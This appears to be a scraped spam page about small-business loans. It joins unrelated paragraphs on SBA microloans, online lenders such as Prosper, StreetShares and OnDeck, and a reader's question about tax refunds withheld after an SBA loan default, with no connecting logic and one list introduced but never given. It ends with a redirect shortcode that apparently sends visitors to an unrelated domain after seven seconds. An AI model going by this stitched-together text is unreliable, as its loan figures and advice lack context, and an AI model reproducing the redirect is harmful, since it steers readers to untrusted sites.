Sounds great, but these loans require a lot of collateral and can be notoriously hard to secure. Application and approval can also be daunting — you’ll need to complete a slew of paperwork, put up to 30% down, and possibly wait a few months to see any money.
The nonprofit intermediaries can borrow up to $750k from the SBA its first year and up to $1.25 million each year after that but can have no more the $5 million borrowed at any one time. In 2016, only $58 million was issued in microloans.
I took out a SBA loan for $75,000 in 2006-7. The business went under months later. Both my attorney and myself tried to contact the bank and SBA and no one wanted to speak with us. I followed my attorneys advise and sold all the assets and put the money on the bank account. I’m certain I wrote them a letter explaining all that was done. The bank continued to take the monthly payments until the money ran out and then sent me to collections. I got my attorney involved and she met with an attorney from the bank. The attorney said that they would no longer bother me – which they have not. Great – then a couple years later I was due a Fed Tax amount that never came and then a letter saying that for repayment of our defaulted SBA loan they were keeping my return. This has happened every year since? I’ve received no accounting or statement of any kind. How long will this continue? Do I have any way to stop this without resurrecting this old debt?
Small business owners who have trouble getting loans through more traditional channels have a growing number of options online. Some online lenders directly lend money themselves, while others use peer-to-peer models that allow individual investors to fund your request.
Then ask your SBA district office for the names of a few approved lenders. The agency also recently set up the SBA Lender Match tool to match potential borrowers with lenders. Banks follow SBA guidelines but use their own underwriting criteria to evaluate loan applications.
Prosper is similar to LendingClub, but it doesn’t have separate loans for small businesses. However, you can use its unsecured personal loans for small business purposes. This can make Prosper a good choice if you need a smaller amount (you can borrow up to $35,000) and your business doesn’t have the established track record to qualify for dedicated small business loans.
In general, SBA Export Loans are designed to help American small businesses expand their export activities, engage in international transactions, and enter new foreign markets. There are three types of SBA Export Loans:
Who it’s good for: Prosper would work best for a newer small business that needs a smaller amount ($35,000 or less) that doesn’t have the revenue or longevity to qualify for a dedicated small business loan. As one of the nation’s biggest peer-to-peer lenders, a good pick for someone who’s nervous about getting a loan online.
Because you’re just starting out and your personal credit score is below 600, your best bet is microloans through nonprofit lenders or the Small Business Administration. The downside is that these are “micro” amounts of money, usually no more than $50,000. Many microlenders, however, help businesses grow and establish better credit. SBA microloans generally have APRs of 8% to 8.5% with manageable repayment terms. Successfully repaying microloans will boost your credit score and make you eligible for bigger financing.
With a strong personal credit score and at least one year in business, you can turn to StreetShares and OnDeck for equipment and expansion financing. StreetShares is better if you’re seeking a smaller amount of financing: You just need $25,000 in annual revenue to qualify for its term loan, which maxes out at $100,000. If you have at least $100,000 in revenue, OnDeck, with loans up to $500,000, is better suited for more mature businesses seeking larger amounts of financing. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]